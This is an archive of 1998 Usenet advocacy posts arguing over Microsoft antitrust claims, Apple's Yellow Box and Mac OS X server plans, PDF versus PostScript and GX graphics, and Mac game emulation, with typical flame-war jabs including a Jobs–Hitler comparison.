- Opinions expressed are my own.
Anyone else may use them only in
accordance with licensing agreements. -
From: mdevlin@eltrax.com (T. Max Devlin)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Tue, 16 Jun 1998 05:08:50 GMT
Organization: Eltrax Systems/Hi-TECH Connections
Message-ID: <359afda6.5780562@news.supernews.com>
References: <6jtgie$vp6$6@ligarius.ultra.net> <35d0ab0c.360543981@news.supernews.com> <6k6tda$omk$1@ligarius.ultra.net> <357a9125.86089126@news.supernews.com> <6l72if$mp9$1@news.smart.net> <6lfsck$1vga@yuma.ACNS.ColoState.EDU> <357C032E.C373357D@nstar.net> <6lhoug$2jua@yuma.ACNS.ColoState.EDU> <357C76BF.721F47E9@nstar.net> <3592b27c.6120162@news.supernews.com> <6lrj04$hlm$15@gte1.gte.net> <35dc16d0.253413303@news.supernews.com> <6m3270$s38$19@news-1.news.gte.net>
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roger@. (Roger), on Mon, 15 Jun 1998 11:59:41 GMT,
>On Sun, 14 Jun 1998 06:01:40 GMT, someone claiming to be T. Max Devlin
>wrote:
>
>>roger@. (Roger), on Fri, 12 Jun 1998 16:02:40 GMT,
>
>
>>>>"restraint of trade is illegal". Well, OK, I admit, it is not an exact
>>>>quote, but it is the text (not just the jist) of the basic statute. I
>>>>imagine that you will fail to see how destroying the competition is
>>>>restraint of trade. Then again, you fail to see a lot of things.
>
>>>Like Max actually supplying proof when he's asked. Of course, this is
>>>mainly due to the fact that he rarely (never? I can't recall an
>>>instance...) does.
>
>>Never would be more accurate, Roger. I never supply proof, only
>>reasoned and logical substantiation for my arguments, when asked
>>politely.
>
>Could you please provide a message ID to this reasoned and logical
>substantiation? That post has yet to make it to my server.
Sorry, no, I can't. But we could negotiate access to my server, and
then you could download my entire 300 megabyte outbox...
--
T. Max Devlin
Hi-TECH Connections/Eltrax Systems
*****************************************************
- Opinions expressed are my own.
Anyone else may use them only in
accordance with licensing agreements. -
From: mdevlin@eltrax.com (T. Max Devlin)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Tue, 16 Jun 1998 05:12:06 GMT
Organization: Eltrax Systems/Hi-TECH Connections
Message-ID: <359cfe26.5908432@news.supernews.com>
References: <6lfsck$1vga@yuma.ACNS.ColoState.EDU> <357C032E.C373357D@nstar.net> <3591af5a.5318472@news.supernews.com> <357DEB64.6B62@CONVEX.COM> <35967e0e.17663365@news.supernews.com> <35800D69.C7F8B8E1@nstar.net> <6lpvl2$26g6@yuma.ACNS.ColoState.EDU> <35809E8C.8E3F239A@nstar.net> <6lqjii$1dmi@yuma.ACNS.ColoState.EDU> <35812C92.20DA6D16@nstar.net> <6ls4hn$ga6@yuma.ACNS.ColoState.EDU> <3581A52E.9FD3DB3C@nstar.net> <35e35156.268398126@news.supernews.com> <35835EDB.25D80D9A@nstar.net>
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"Michael J. Peck" <mjpeck@nstar.net>, on Sun, 14 Jun 1998 05:25:47
>T. Max Devlin wrote:
[...]
>> [The rest of this crud snipped, because anyone who argues that force
>> means violence is arguing from a false position]
>
>Again, argue with your nearest dictionary. I've already made this point,
>ball's in your (collective) court.
My dictionary includes "intellectual coercion", as well as "financial
control" in the definition of force, Mike. Game, set, and match.
(My doctor told me I'm becoming allergic to troll. If you want any more
of a response than a short flippant aside, you'll have to come up with
some real arguments.)
--
T. Max Devlin
Hi-TECH Connections/Eltrax Systems
*****************************************************
- Opinions expressed are my own.
Anyone else may use them only in
accordance with licensing agreements. -
Newsgroups: comp.sys.next.advocacy
Subject: Re: Maybe YB development tools shoud be free
References: <6m50f4$1o3$1@nnrp1.dejanews.com>
From: John Kheit <jkheit@xtdl.com>
Organization: monoChrome, Inc., NJ, USA
Message-ID: <35862b85.0@206.25.228.5>
Date: 16 Jun 98 08:23:33 GMT
quinlan@intergate.bc.ca wrote:
> I think that Apple should consider releasing the YB development
> tools for free.
> 1) Encourage small Mac developers to use YB 2) Allow big Mac
> developers to easily evaluate (and become addicted to) YB 3)
> Allow small Windows developers to create cross platform applications
> 4) Allow big Windows developers to easily evaluate (and become
> addicted to) YB
> and create cross platform applications
Or at least do the Gillette razor/doom marketing thing. Give away
a pretty decent version for free. Say it's limited to producing
only PPC versions of the software. Then for a modest upgrade fee...
:)
--
Thanks, be well, take care, later, John Kheit; self expressed...
__________________________________________________________________
monoChrome, Inc. ASCII, MIME, PGP, SUN, & NeXTmail OK
NeXT/OPENSTEP Developer mailto:jkheit@xtdl.com
Telepathy, It's coming... http://www.xtdl.com/~jkheit
Franklin Pierce Law Center You're dangerous because you're honest
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X Confusion
References: <6lvsob$ni$1@supernews.com> <6m2uto$b7k$1@ns3.vrx.net>
From: John Kheit <jkheit@xtdl.com>
Organization: monoChrome, Inc., NJ, USA
Message-ID: <35862ad9.0@206.25.228.5>
Date: 16 Jun 98 08:20:41 GMT
maury@remove_this.istar.ca (Maury Markowitz) wrote:
> His points were...
Wrong. It's the same mach kernel.
> a) The key will be the robustness (departmental servers must
> scale from a few to a many as 100 users easily without breaking)
> - possibly not an issue, but this remains to be seen
It's the same mach kernel. Unless they purposelfully cripple it,
it will scale the same. His claims to poor scaling seem outright
wrong to me.
> b) and the administrative tools provided.
> - totally an issue.
Tools do not make the OS itself a bad server OS. If people buy
those tools seperatly and use macOSX, the OS will still perform
well. His article, at the very least, seems outright misrepresentative,
if not worse.
> c) In addition, the software for print serving, file serving,
> and Web serving that currently lives in AppleShare IP, will,
> too have to be made more robust, and easier to modify and
> maintain.
> - same here
Again, having nothing to do with the core os's ability to deal and
serve. Assuming that the BSD layer will not be made unavailable,
OSX will perform the same.
> For the most part I agree with his article.
That's nice.
--
Thanks, be well, take care, later, John Kheit; self expressed...
__________________________________________________________________
monoChrome, Inc. ASCII, MIME, PGP, SUN, & NeXTmail OK
NeXT/OPENSTEP Developer mailto:jkheit@xtdl.com
Telepathy, It's coming... http://www.xtdl.com/~jkheit
Franklin Pierce Law Center You're dangerous because you're honest
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Games and the consumer market.
Date: Tue, 16 Jun 1998 05:34:00 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6m5048$189$1@nnrp1.dejanews.com>
References: <6m3hlg$n2m$1@ns3.vrx.net> <B1AB3239-423EA@209.152.194.46>
In article <B1AB3239-423EA@209.152.194.46>,
"Paul Arthur" <parthur@NoSpamop.net> wrote:
> Just as a last note, I frequent the MacGamer's Ledge web site, and am
> regularly encouraged by the good number of game titles that come out for
> the Mac.
But a lot of revolutionary games do not come out for the Mac or are
significantly delayed. BattleZone and Total Annihalation come to mind. And
will C&C II be ported to the Mac?
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/ Now offering spam-free web-based newsreading
From: marcel@cs.tu-berlin.de (Marcel Weiher)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 16 Jun 1998 05:40:41 GMT
Organization: Technical University of Berlin, Germany
Message-ID: <6m50gp$l35$1@news.cs.tu-berlin.de>
References: <9806151832.AA09593@palmer.cca.rockwell.com> <B1AAC334-6397@206.165.43.7>
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"Lawson English" <english@primenet.com> writes:
>Erik M. Buck <embuck@palmer.cca.rockwell.com> said:
>>Ok, PDF is Postscript sans a language.
>OH, PUHlease. PDF is NOT "PS sans a language."
It's not?!
>PS *IS* a language.
Plus an imaging model. Believe, me the two are quite distinct.
>PDF is merely a way of organizing a bunch of graphics primitives
>that PS happens to use.
Thank you for reaffirming that which you so vehemently deny: PDF
is Postscript without the language. Because that is what you are
saying.
>If we're going to get THAT vague about what is what, QuickDraw is used on
>virtually every computer in the world because QuickDraw was the inspiration
>for GX, DPS, PDF, GDI and just about every modern 2D graphics system.
:-)
You should read up on your CG history. Really.
Marcel
From: "Ziya Oz" <ziyaoz@earthlink.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Tue, 16 Jun 1998 01:26:31 -0400
Organization: BM
Message-ID: <6m4vff$aua$1@suriname.it.earthlink.net>
References: <*johnnyc*-1506980054340001@jchristie.halifaxcable.dal.ca>
<B1A9ED45-3B7DF@206.165.43.122> <6m2gro$cci$1@news.digifix.com>
<6m2nh8$irr$3@bolivia.it.earthlink.net> <6m4tao$88t$1@news.digifix.com>
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In article <6m4tao$88t$1@news.digifix.com> , sanguish@digifix.com (Scott
Anguish) wrote:
>That's your assertion right?
>
>I somehow doubt that good old Fred is going to open the books
>to you..
This has been related to me twice by different WebObjects people from Apple.
Why, do you have different figures?
Share them.
Ziya Oz
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.next.advocacy
Subject: Maybe YB development tools shoud be free
Date: Tue, 16 Jun 1998 05:39:48 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6m50f4$1o3$1@nnrp1.dejanews.com>
I think that Apple should consider releasing the YB development tools for
free.
1) Encourage small Mac developers to use YB
2) Allow big Mac developers to easily evaluate (and become addicted to) YB
3) Allow small Windows developers to create cross platform applications
4) Allow big Windows developers to easily evaluate (and become addicted to) YB
and create cross platform applications
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/ Now offering spam-free web-based newsreading
From: marcel@cs.tu-berlin.de (Marcel Weiher)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 16 Jun 1998 05:48:25 GMT
Organization: Technical University of Berlin, Germany
Message-ID: <6m50v9$ld8$1@news.cs.tu-berlin.de>
References: <6m3886$i04$3@ns3.vrx.net> <B1AACB1D-23F64@206.165.43.7>
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"Lawson English" <english@primenet.com> writes:
>Or, maybe, just maybe, that GX graphics is an ideal fit to multi-media
>vector graphics. If nothing else, the use of quadratic Beziers means that
>it CAN be optimized to run faster than cubic Beziers, given the equivalent
>effort. Quadratics will show decent performance on any modern CPU, even
>ones with slow multiplication. Cubics require multiplication to render, I
>believe.
Your beliefs are mistaken. Forward differencing can be used in
rendering curves of arbitrary degree. The initialization step
usually requires multiplication for all types of curves.
Another interesting approach is exact integer subdivision:
"Exact Integer Hybrid Subdivision and Forward Differencing
of Cubics" R. Victor Klassen, Xerox Webster Research Center,
ACM TOG Vol. 13, no 3, July 1994, pp. 240-255
Marcel
From: marcel@cs.tu-berlin.de (Marcel Weiher)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have now?)
Date: 16 Jun 1998 05:51:49 GMT
Organization: Technical University of Berlin, Germany
Message-ID: <6m515l$lf8$1@news.cs.tu-berlin.de>
References: <ldo-1006981653480001@a53.hn3.wave.co.nz> <6lnre7$bes$1@news.cs.tu-berlin.de> <ldo-1106982011210001@a7.hn3.wave.co.nz> <jdoherty-1506982140300001@aus-tx22-16.ix.netcom.com> <j-jahnke-1506982306430001@dapple.tormenta.com>
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j-jahnke@uchicago.edu (Jerome Jahnke) writes:
>In article <jdoherty-1506982140300001@aus-tx22-16.ix.netcom.com>,
>jdoherty@ix.netcom.com (John Doherty) wrote:
>> And what specifically is it you want to do with PDF that requires pages
>> in excess of 45" square? Remember, this has to be some practical use,
>> not some theoretical pie in the sky. That's the thing about GX: it
>> allowed for all sorts of pie in the sky, but never any practical uses.
>Hey John,
>My gripe with PDF has been that Acrobat Reader can't print they way I need
>to print.
Your gripe with a file-format is that a free reader doesn't have a
feature you'd like to see? I understand your gripe, but it is
a gripe with a specific application, not with the format.
My major gripe with PDF is that it isn't human readable or editable.
Marcel
From: jmz@southwind.net
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: It would be nice to own a g3 BUT....
Date: Sun, 14 Jun 1998 23:15:37 +0000
Organization: None
Message-ID: <3584599A.6723@southwind.net>
References: <6kf6jk$mcf$1@newsfep2.sprintmail.com> <arman.afagh-2705982330280001@mcrubs1102.med.nyu.edu> <Pine.SOL.3.96.980615011908.456A-100000@hei.unige.ch> <358322BC.4620@southwind.net> <MPG.feed200cc3d366598986f@news.supernews.com> <3583A2A6.2F45@southwind.net> <MPG.fef6db22eebdab0989873@news.supernews.com>
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Donald Brown wrote:
>
> It has that emotional impact because of all the evil he did, and has a
> very strong emotional impact because of those few who still survive his
> villany or those many who lost family members to his villany. And to
> compare that to a CEO, even a CEO who regularly acts like a flake, is an
> insult to their memory.
I mean to insult no one's memory.I mean to make a statement that is
provocatively truthful.And did.
> > I did a project in high school,which was to research how common the
> > name "Hitler" had been in the United States before and after the Nazi
> > regime in Germany.Before 1940 or so,there were Hitlers and Hittlers in
> > most major city phone books.For the most part,that surname has vanished.
> >
> > Were all the Hitlers rounded up and Finally Solved? For the ardent
> > conspiracy buff,of course,anything is possible,but a much more likely
> > explanation is that all the Hitlers, and most of the Hittlers,changed
> > their name.
> >
> > I mean,I would have.
>
> I would have to. Adoph Hitler's actions have put such a terrible stain
> and emotional wounding on that name that nobody would want to be
> associated with it.
Yet phone books are filled with Mansons,Dahmers,Gacys and Bundys.And in
Italy a grandchild of Benito Mussolini wears her family name proudly in
the legislature.
>
> > Even today,the name Hitler is above all other names when it comes to
> > describing a crazed or malevolent despot.Idi Amin,Ne Win,even Pol Pot
> > just don't have that same ring.
>
> Absolutely. Which would seem to put a lie to your statement:
Crazed and malevolent despot?? He is,that's my point exactly.He
controls a corporation,not a nation:he uses economic rather than
physical means.
>
> > > > I'm not
> > > > accusing him of genocide or war atrocities.I am saying that he's
> > > > dysfunctional and disturbed and conciously or otherwise is determined to
> > > > fail at Apple,per se.
>
> You may not be specifically accusing him of those charges, you're just
> attempting to slur him with this association.
>
> If you want to be straightforward about it "Jobs is Hitler reincarnated,
> he's here to crush you all, first Cupertino and then the world" you'll be
> a nut, but you'll be an honest nut. But if you aren't really trying to
> accuse Jobs of villany on a scale of Hitler, comparing him to Hitler is
> nothing but a cheap shot.
I compare one aspect of Hitler to one aspect of Jobs,while making it
clear the two are not wholly comparable.There are stinkier executives
than Steve Jobs,and,more quantitively destructive leaders than Hitler
throughout history:Stalin and Mao racked up larger kill figures and Pol
Pot and the Ottoman Turks took out a bigger percentage of their victim
groups.
Like the Third Reich,the Second Reign of Jobs I is doomed.The victims
won't be killed,they'll just wind up losing a lot of money and the time
and effort they put forth.I hope it's a sufficiently attention-getting
analogy people will give it serious thought.
From: roger@. (Roger)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Tue, 16 Jun 1998 12:58:04 GMT
Organization: gte.net
Message-ID: <6m5prg$9lu$1@news-2.news.gte.net>
References: <6j2m0f$m0c$3@ligarius.ultra.net> <6k6rm6$nkn$5@ligarius.ultra.net> <3578a103.7795788@news.supernews.com> <6kkgk9$2h7$2@gte1.gte.net> <6kl05l$k1$1@inconnu.isu.edu> <slrn6mtk1e.2rc.jedi@dementia.mishnet> <uWKsMaFl9GA.268@upnetnews02.moswest.msn.net> <01bd949c$de9bbf80$8383050a@bgravitt.CORP.VHA.COM> <6lrj05$hlm$16@gte1.gte.net> <01bd9646$a1100260$8383050a@bgravitt.CORP.VHA.COM> <6m3272$s38$21@news-1.news.gte.net> <01bd9891$3b097f80$8383050a@bgravitt.CORP.VHA.COM>
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On 15 Jun 1998 19:09:40 GMT, someone claiming to be VHA PC Development
wrote:
>Roger <roger@.> wrote in article <6m3272$s38$21@news-1.news.gte.net>...
>> On 12 Jun 1998 21:05:00 GMT, someone claiming to be VHA PC Development
>> wrote:
>> >Roger <roger@.> wrote in article <6lrj05$hlm$16@gte1.gte.net>...
>> >> On 10 Jun 1998 18:17:17 GMT, someone claiming to be VHA PC Development
>> >> wrote:
>> >> And can you back up that using an undocumented interface with out
>> >> payment to MS leads to legal action, and that MS apps freely use
>> >> these?
>> >The suit between Stac and Microsoft is a precedent setting event.
>> This was an interface in MS-DOS, used by MS-DOS. Your assertion is
>> that MS * apps * use these.
>Microsoft apps do use undocumented interfaces and hooks like these. What
>do you think Doublespace or Drivespace did in the same situation? I got
>it! Maybe when they copied allot of Stac's stuff they also copied the
>*illegal* function call that loaded Stac prior to calling CONFIG.SYS!
1. This is what you have been asked to substantiate. Assertion !=
substantiation.
2. Double / DriveSpace was a feature of the OS. You have stated that
MS * Apps * use these interfaces. Feel free to post proof.
3. They did not copy * any * of Stac's stuff. They licensed a
technology which was found to infringe on Stac's patent. This is not
the same as copying code.
4. You also seem to forget that Stac was found guilty of stealing the
code behind compression preload.
>> >> Someone posted two examples, hardly enough to call a trend.
>> >If they do it at all then they do it. Right?
>> No. The assertion was "freely." Were it that common, there would be
>> more than two rather weak examples.
>I reiterate that if they use undocumented interfaces at all then they are
>not competing with their competitors on a level playing field. Is this a
>grey area for you? It's OK for Microsoft to use interfaces and functions
>in their application software that only they know about? Talk about
>stacking the odds in their favor - sheesh!
I never said it was okay. Read what I write, not what you think I
must have meant, please?
I am saying that the statement that MS apps "freely" use such
interfaces is an exaggeration, given that in the close to 20 years
they have been writing apps and OSes, only two instances of such use
have been presented.
>> But the assertion was that MS was ... shutting out the competition.
>> Your statement that when they get some experience users find out about
>> NS would tend to rebut that. Or do you contend that MS is actively
>> suppressing the accumulation of such experience?
>Most new computer users are inexperienced; the concepts go hand in hand.
>Meaning that a great many of computer users today are new users and will be
>inexperienced for quite a while yet. As such, they are being indoctrinated
>into Windows exclusively and not being allowed the chance to know that
>there is anything different. I was one of these people at one time.
How are they being indoctrinated in to Windows exclusivity? Who is
preventing them from learning that there is something else? MS is
merely using offering the functionality that it seems the market
wants. If this works good enough for most folks, then MS has done the
job it set out to do.
>As for MS actively suppressing the accumulation of experience and
>competition... When viewed in the full light of day without all the cheap
>rhetoric of fearful Windows advocates afraid that they'll have their game
>machines taken away, the facts still stand.
What facts support your statement that MS is actively suppressing the
accumulation of experience on the part of it's users?
>(LINUXer's play games too.)
>Microsoft is using lots of money to buy support for their operating system
>just like a candidate for office with lots of money for advertising
>typically wins over the less financially capable candidate. However, every
>once in a while a contender with powerful ambitions and impeccable
>integrity comes along and dethrones the incumbent. Microsoft was going
>around and telling the Internet Content Providers that they had to play
>ball. Take the Netscape Now buttons off your webpages and REPLACE them
>with IE buttons and we'll pay you.
Or don't and we won't. A simple business deal.
>ISP's were given similar disincentives
>to resist like: Play ball with Microsoft and we'll put you in our ICW and
>if they resisted, they they would offer them money - lots of it.
Yes, it was worth a lot of money for MS to get that exposure. Nothing
inherently evil about that.
>Microsoft
>even played a version of Spain and Portugal dividing the world between them
>during the colonial period in which Netscape refused to surrender the
>Windows market to MS.
And your proof of this story is? All I have read is that NS alleges
this occurred. And why shouldn't they be honest about it? I mean,
it's not like they have any kind of vested interest in hurting MS, now
is it?
>MS then bought rights to Mosaic, modified it and
>changed it's name to IE, finally giving it away for free. When they
>couldn't make any more inroads to Netscape's marketshare, they had to
>resort to illegal activities of which they are now being prosecuted for.
>I'd say that Netscape is just the tip of the iceberg.
Voicing your opinion, when it's presented as opinion, I have no
problem with. Just don't claim your opinion as fact and expect that
you mightn't be called upon to support it with hard fact.
>> And NS is hardly extinguished. They still own > 50 of the market.
>Because they are a vital (not willing to lay down and die) company not
>because Microsoft is guiltless.
Then you are retracting your statement that MS has nearly extinguished
NS?
>> >> > Yes, it may be easier for you as a developer (that's for you to
>decide)
>> >> >but just remember, almost all your technology comes from one place -
>> >> >Microsoft yet there is a whole world outside of Redmond, WA for LINUX
>to
>> >> >benefit from.
>> >> Yeah, and those pesky file dialogs all come from them too. But wait:
>> >> a developer could write their own dialogs, if they wanted. So it's
>> >> not the same thing.
>> >Which puts you OUTSIDE of Redmond most likely.
>> Huh?
>You being outside of Redmond is a figure of speech. You are not part of
>Microsoft are you? If not then you are little fish to be fried someday.
And this rebuts my point (which you split in half) exactly how?
>> >> But wait: a developer could write their own code to render HTML in
>> >> their app, if they wanted, too. Guess it is...
>> >The point is NOT whether someone could write their own code - the
>> >developers of LINUX did that; the point is that as developers get
>locked
>> >into Microsoft solutions then their codebase is largely limited to
>> >Microsoft and to a lesser extent, compatible operating systems.
>> Yeah, and if you develop for MacOS, you're limited to that market.
>> Except that the Windows market is far bigger, so your chances are
>> better there.
>Exactly why MacOS is so limited in what is available in third-party
>software. What software there is is VERY good but not enough of it. Apple
>just didn't advertise like Microsoft did also cost allot more. There are
>versions of LINUX for just about every hunk of computer hardware in
>existence - programs are nearly all crossplatform and those that aren't are
>pretty easily modified meaning LINUX is the operating system for the world
>rather than just the US Apple users can get LINUX and install it, i386,
>SPARC, Alpha, etc... etc...etc... You as a developer should be able to see
>the potential for future profit that LINUX can afford you in cross platform
>availability - before you know it, all flavors of UNIX not just LINUX will
>be enjoying the common multimedia capabilities now available on LINUX.
But writing Windows software is far more likely to pay my bills
* today *. And my point is, that if you didn't want to use the common
dialogs and other system services available from Windows, you would
not have to. OTOH, why reinvent the wheel for something as trivial as
a file dialog? I'd much rather concentrate on the features I hope
will cause John Q Public to purchase my app, which I seriously doubt a
new common dialog would do.
>> >> >Evidently, you wont be able to get very far developing applications
>from
>> >> >now on (in Windows) without using Microsoft's proprietary development
>> >> >environments or buying their software development kits now will you.
>> >> Why do you think this?
>> >Other vendors are being pushed out or backed into a corner. Take
>> >Borland/Inprise for example; they used to be the major player in
>compilers
>> >and development tools for DOS/Windows. After MFC was put forward as the
>> >standard on Windows systems, the Object Windows Library was view as
>> >incompatible by many developers. In reality, the OWL is mainly an
>> >encapsulation of the foundation objects of Windows with the subclassing
>> >being a snap. Delphi and C++Builder are worldclass tools that are
>> >respected yet oftentimes avoided because of decisions by managers to
>remain
>> >with Microsoft. Decisions made almost exclusively on the basis of
>> >COMPATIBILITY which is a laugh.
>> >
>> >Do you use any tools from other vendors? And if so, which and what
>> >percentage of total?
>> The same tools which are used on other platforms can be used to
>> develop for Windows. I'm kind of partial to ones like GCC or
>> Codewarrior, which facilitate cross-platform development.
>Good for you! So we agree then?
No. You just said you won't be able to get very far developing
Windows apps without MS's tools. Unless you are retract that
statement, we don't agree at all.
From: roger@. (Roger)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Tue, 16 Jun 1998 13:26:26 GMT
Organization: gte.net
Message-ID: <6m5rgp$9lu$19@news-2.news.gte.net>
References: <6l72if$mp9$1@news.smart.net> <6lfsck$1vga@yuma.ACNS.ColoState.EDU> <357C032E.C373357D@nstar.net> <3591af5a.5318472@news.supernews.com> <357DEB64.6B62@CONVEX.COM> <35967e0e.17663365@news.supernews.com> <35800D69.C7F8B8E1@nstar.net> <6lpvl2$26g6@yuma.ACNS.ColoState.EDU> <35809E8C.8E3F239A@nstar.net> <6lqjii$1dmi@yuma.ACNS.ColoState.EDU> <35812C92.20DA6D16@nstar.net> <6ls4hn$ga6@yuma.ACNS.ColoState.EDU> <3581A52E.9FD3DB3C@nstar.net> <6m1m3g$2cms@yuma.ACNS.ColoState.EDU>
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On 14 Jun 1998 23:24:32 GMT, someone claiming to be Larry Pyeatt
wrote:
>In article <3581A52E.9FD3DB3C@nstar.net>,
> "Michael J. Peck" <mjpeck@nstar.net> writes:
>> Larry Pyeatt wrote:
>>> MS compells and constrains OEMs to sell ONLY MS operating systems.
>> No, it does not. Read the licensing agreements. OEMs are in *no way*
>> forced to sell MS operating systems. VA Research is only one example of
>> an OEM that does NOT sell MS operating systems.
>Yes, and as a result, they have a very small market. If they wanted
>to have a larger market, they would sell MS operating systems. In
>which case, they would be forced by MS to sell ONLY MS operating systems.
No, they would not be. Read the licensing agreements.
>The larger companies, who are competing for a bigger piece of the pie
>all have to sign exclusive contracts with MS.
>http://www.essential.org/antitrust/ms/jun3survey.html
Well, since this person has not read the agreements either, this does
nothing to prove your point ( hint: the salesdroids that this person
spoke with have not read them either )
OTOH, Arthur Dent (someone who * has * posted the following in message
<6jss21$n8j$1@news.vic.com>:
"I've been a Systems Integrator and Dealer for ... oh ... fifteen
years now, so you might want to listen up for a bit of professional
perspective as to why you're full of bung.
Microsoft's licensing agreements have *never* had that sort of
effect on a Dealer. You are 100% wrong. It is only those companies
who go directly into contract with Microsoft for beneficial reasons,
and it doesn't apply to everything.
If those companies do not go directly into contract, they can
still buy and install and sell Microsoft programs... BUT --- With
contract, Microsoft grants them license to use their Name and Logo and
Slogans in their marketing campaigns. That's where these licensing
agreement come in.
There are several ways for a company to get Microsoft's promo
packs - They can enter into Reseller Agreements with Second-Tier
Vendors who sell Microsoft products. They can call Microsoft and pay
$80 for their Promotional Pack. Or ... They can sign Agreements of
Exclusivity. This is the easiest, and allows the Vendor or
Manufacture certain exclusive rights in return --- direct purchase of
all Microsoft Products from Microsoft, Level 3 support, Site licenses,
training sessions, etc. etc.
Signing those Agreements gives you more than you can imagine. But
they're nothing that anyone else can't get with a little Cash. They're
a money and time saver, and that's all. And companies WILLFULLY sign
into them for that."
>So, to re-phrase: "MS monopoly in the OS arena allows them to FORCE
>the OEMs into only supporting MS products, thereby suppressing the
>opposition.
And to rephrase, you are incorrect unless you have better evidence in
support of this assertion than you have presented thus far.
>> Its customers can. Welcome to the free market.
>YES!!! Perhaps you are right. The first step of that process is to
>have the government find out whether MS has been abusing its monopoly
>status. The mechanism set up for that purpose is now doing its job.
>What are you complaining about?
In what way is the * first * step in customer's making their voices
heard in a free market government interference of any type?
>No. I am saying that they are being forced to make a decision
>when there is no economic reason why they should have to, and
>in fact, that decision causes them to neglect smaller, yet
>viable markets.
And you have proof positive that any big boy OEM, absent any influence
MS might bring to bear ( note that I am not buying into your notion
that they are being forced into anything by MS ) would automatically
begin to market to these smaller markets?
If not, what you are saying is you don't like the market as it exists,
because you feel it slights your niche of choice, and because you
dislike MS they might as well take the blame for this state of
affairs.
From: *johnnyc*@or.psychology.dal.ca (John Christie)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Tue, 16 Jun 1998 10:50:04 -0300
Organization: ISINet, Nova Scotia
Message-ID: <*johnnyc*-1606981050050001@mac49-23.psychology.dal.ca>
References: <*johnnyc*-1506980054340001@jchristie.halifaxcable.dal.ca> <B1A9ED45-3B7DF@206.165.43.122>
In article <B1A9ED45-3B7DF@206.165.43.122>, "Lawson English"
<english@primenet.com> wrote:
> John Christie <*johnnyc*@or.psychology.dal.ca> said:
>
> >
> > YB will be maintained cross platform. the level of constraint proposed
> >is not to the degree where you would have a point (as you qualify it).
> >When it is bring it up again.
>
>
> YB will work on a subset of Wintel hardware.
You keep saying this and use for evidence that Office works on a subset
of Wintel hardware (not in this particualr instance). Ok, have it. YB
will work on a subset of Wintel hardware somewhere in the neighborhood of
the tiny group that is serviced by Office (big hairy deal).
--
You aren't free if you CAN choose - only if you DO choose.
All you are is the decisions you make.
Remove "*" and ohnny (i.e. jc@) to reply via email
From: *johnnyc*@or.psychology.dal.ca (John Christie)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: Tue, 16 Jun 1998 10:58:00 -0300
Organization: ISINet, Nova Scotia
Message-ID: <*johnnyc*-1606981058000001@mac49-23.psychology.dal.ca>
References: <*johnnyc*-1606980023330001@jchristie.halifaxcable.dal.ca> <B1AB4172-173FD@206.165.43.221>
In article <B1AB4172-173FD@206.165.43.221>, "Lawson English"
<english@primenet.com> wrote:
> John Christie <*johnnyc*@or.psychology.dal.ca> said:
>
> > Hardware emulation of the older ATI chip could not be accomplished by
> >the newer ATI chip (at playable speeds). It probably coudn't be
> >accomplished by the next ATI chip. Emulation typically takes 4:1 speed
> >hit at least. Look at the math specs of the G3. Easily 4 times the speed
> >of a regular low end pentium. However, it just barely emulates it.
> >
>
> That's at least partly because of the endian issues. With intelligent
> caching of translated loops, you can approach native speed in inner loops
> if you don't have to worry about endian issues.
It is cute how you say "Partially due to Endian issues" and then try to
imply that because the Playstation and PPC endian issues are the same the
eumlation speed hit won't be too great. Furthermore, you wrongly assume
that loops for a game are designed small enough that they could fit (after
being dynamically emulated) into the cache on any of the current G3s. You
might be right for MacMAME but there was a lot of work done to get 8k
memory systems emulated into 32k (L1 cache). You would be right for a G3
with an enormous amount of cache. However, the idea that the current
machines couls hardware emulate a Playstation at reasonable speeds is
really reaching.
Keep in mind that one is not just emulating the 3000 either. The Mac
must emulate all of the hardware in the box. I do keep open that idea
that the libraries could be ported to the Mac. That would be a terrific
idea.
--
You aren't free if you CAN choose - only if you DO choose.
All you are is the decisions you make.
Remove "*" and ohnny (i.e. jc@) to reply via email
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X Confusion
Date: 16 Jun 1998 08:59:51 GMT
